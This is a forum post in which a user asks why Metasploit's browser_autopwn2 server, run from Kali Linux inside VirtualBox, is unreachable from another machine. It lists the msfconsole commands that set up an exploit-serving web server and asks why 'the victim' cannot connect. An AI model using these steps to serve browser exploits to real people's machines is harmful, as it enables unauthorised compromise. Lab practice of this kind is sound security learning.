METASPLOIT Autopwn: Can't Connect to IP

Hey guys, I'm having some difficulties with autopwn2 metasploit. So here's the problem

I open a terminal in kali linux and I type "ifconfig" and it shows an IP address like 10.0.2.15 instead of 192.168.1.xxx, so after that when I start another terminal, to use an autopwn2 bot here's what I do.

msfconsole

search autopwn

use auxiliary/server/browser_autopwn2

set LHOST 10.0.2.15

set SRVPORT 80 (tried with 8080 too)

set URIPATH /

exploit

And when I try to connect from my laptop to my desktop PC via http://10.0.2.15:80/ or http://10.0.2.15:8080/

I get just a loading page and then can't connect to server, so everytime I go on that IP and from the dekstop PC (where the server is being hosted) when I type sessions -l I get a "No active sessions". I've tried with different IPs like the IP from the virtualbox, or desktop command prompt but nothing seems to work...

By the way I'm using Kali Linux via VirtualBox

Anyone have any idea why the victim can't connect to my IP address? :/

Thanks in advance